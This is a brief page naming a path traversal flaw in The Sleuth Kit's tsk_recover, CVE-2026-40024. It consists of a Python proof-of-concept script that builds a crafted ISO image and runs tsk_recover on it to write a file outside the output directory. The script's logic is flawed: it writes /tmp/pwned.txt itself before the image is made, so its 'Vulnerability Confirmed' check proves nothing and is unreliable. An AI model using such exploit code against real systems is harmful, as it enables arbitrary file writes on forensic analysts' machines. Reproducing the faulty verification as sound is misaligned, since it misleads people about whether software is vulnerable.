CVE-2026-40024 The Sleuth Kit路径遍历漏洞

import os import subprocess # Setup: Create a malicious directory structure os.makedirs("malicious_fs", exist_ok=True) # Create a file with a path traversal payload # This attempts to write to /tmp/pwned.txt relative to the output dir malicious_file = "malicious_fs/../../../../tmp/pwned.txt" os.makedirs(os.path.dirname(malicious_file), exist_ok=True) with open(malicious_file, "w") as f: f.write("CVE-2026-40024: Arbitrary File Write") # Create a filesystem image (ISO) containing the malicious file try: subprocess.run(["genisoimage", "-o", "exploit.iso", "malicious_fs"], check=True) except Exception as e: print(f"Error creating image: {e}") # Exploit: Run tsk_recover # The victim expects files to go to 'safe_output', but they go to /tmp os.makedirs("safe_output", exist_ok=True) subprocess.run(["tsk_recover", "-i", "exploit.iso", "safe_output"]) # Verification if os.path.exists("/tmp/pwned.txt"): print("Vulnerability Confirmed: File written to /tmp")